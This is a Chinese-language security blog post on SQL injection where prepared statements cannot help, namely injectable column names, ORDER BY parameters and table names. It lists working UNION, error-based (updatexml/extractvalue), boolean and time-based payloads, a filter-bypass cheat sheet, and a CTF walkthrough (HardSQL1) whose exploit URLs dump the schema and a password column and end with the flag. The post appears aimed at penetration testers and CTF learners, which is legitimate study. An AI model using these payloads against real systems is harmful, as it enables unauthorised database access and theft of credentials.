捕捞预编译漏网小鱼
Lastmod: 2023-06-17

在Java持久化层或Web框架化的情况下,要么很难有SQL注入,要么全是SQL注入(没用防注入框架的网站,xray狂喜)。这里列出特例或者开发常犯错的例子。

SQL语句有哪些参数无法动态编译?

即,无法参数化与预编译的情况有哪些?

  1. 表名和列名

  2. SQL关键字和语法结构

    SQL关键字(如SELECT、INSERT、UPDATE等)和语法结构(如FROM、WHERE、GROUP BY等)如果需要根据动态条件构建不同的SQL查询,可以使用条件语句(如IF、CASE WHEN)来控制SQL语句的结构。

  3. 表达式和函数

    日期函数、数学函数、字符串函数等。

列名

列名常见以下位置。

SELECT子句

列名通常用于指定要检索的列。例如:

SELECT username, age FROM users;

检索列如果可控。可以想像一下,API接口的参数长什么样子。我最喜欢看见POST里混杂JSON格式的参数了。

#列括号表示
select=["username","age"]&username=kokoisko&age=25
#JSON格式,动态参数
{"username"="test","age"=25}
#参数接JSON
query={"username"="test","age"=25}

构造利用,推荐UNION。因为后端的SQL拼接语句有可能包含换行符,注释符号注释不了多行,导致报错。

#UNION payload:
#SELECT 1,2 union select username, age FROM users;

1,2 union select username


#注释截断的payload:
#SELECT 1,2 from information_schema.schemata --, age FROM users;

1,2 from information_schema.schemata --

WHERE子句

列名用于指定用于筛选数据的条件。例如:

SELECT username, age FROM users where username=?

筛选条件列如果可控。可以想像一下,API接口的参数长什么样子。

没错,和上面SELECT字句差不多。

#Error based
#SELECT username, age FROM users where `username`=(SELECT extractvalue(1,CONCAT(0x7e,(SELECT user()),'~'))) and username = ?
#Error based payload:
username=`username`%2D(SELECT extractvalue(1,CONCAT(0x7e,(SELECT+user()),'~')))+and+username

ORDER BY子句

列名用于指定排序的列。例如:

SELECT username, id FROM grace_db ORDER BY username ASC;

可以想像一下,接口的参数长什么样子。关键字有sort、order、ord、sortOrder、sidx、sord。

sort=username&ord=ASC

sort参数:

#报错
sort=updatexml(1,concat(0x7e,(select @@user)),1)
#真假
sort=if(1%3D1,id,username)
#时间
sort=if(1%3D1,1,sleep(1))

注意order by后可以逗号分隔多个列名排序,那么就可以转换为sort参数的情况。

ord参数:

ord=,updatexml(1,concat(0x7e,(select @@user)),1),1)+ASC
ord=,if(1%3D1,id,username)+ASC

表名

FROM子句

建议UNION续写

SELECT username, age FROM `users` where username="abc";
SELECT username, age FROM users union select 1,2 union select username, age from users where username="abc";
#payload:
table=users+union+select+1,2+union+select+username,age+from+users

其它

写着写着,觉得其它情况里,SQL关键字与函数的注入,确实少见,就不展开废话了。

因为关键还是闭合,在列名表名导致注入的情况其实已经覆盖得差不多了。

后记:

翻了一下挖过的注入,还真的有条件符号可定义的情况。

感叹,开发,无奇不有。

http://test.com/findprofilelist?sorts=%255B%255D&conditions=[{"Field":"@@version","DataType":1,"Option":1,"Value":"1"}]&userId=1

DataType=1时,后端代码会自动转换类型为int
DataType=2时,估计数据类型为char
Field使用单引号测试,可观察语句结构,获知`Field` = `Value`的结构。即可操纵列名,及对应的值。
Option=1,为不等于,2为等于之类的操作符号。

换位思考,换我,我也这样写,完成功能要紧。安全?你们测出来再改。

参考阅读

sql注入之order-by注入

从一个 Laravel SQL 注入漏洞开始的 Bug Bounty 之旅

ThinkPHP Laravel SQL 注入

使用数组进行框架ORM注入

备忘

报错函数

updatexml(1,concat('~',(select(database()))),1)
#mssql error payload
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1470094982')))

字符函数

substring('123',32,64)
substr('123',32,64)
left('123',3)
right('123',3)
hex
ascii

空格/分割符号

%0c %0a () /**/
1.1 1e9 

符号替换

or and => && ||
xor
= like in

查看数据库

select(group_concat(schema_name))from(information_schema.schemata)

查看表名

(select(select(group_concat(table_name))from(information_schema.tables)where(schema_name='geek'))

查看列名

(select(select(group_concat(column_name))from(information_schema.columns)where((table_name)like'H4rDsq1')))

[极客大挑战 2019]HardSQL1

1、单引号,报错成功。

2、and/or/&&/||符号,拦截提示,大小写拦截。xor替换。

3、空格拦截,/**/拦截,%0a拦截。使用括号()。

4、报错函数无拦截

5、substr/substring/mid拦截。left/right替换。

6、=符号拦截。like替换。

http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(schema_name))from(information_schema.schemata))),20)),1))xor'1

http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek'))),20)),1))xor'1

H4rDsq1

http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(column_name))from(information_schema.columns)where((table_name)like'H4rDsq1'))),20)),1))xor'1

http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(password))from(H4rDsq1))),31)),1))xor'1

flag{85a4c8ec-31b2-4296-8273-4e80fddfc48e}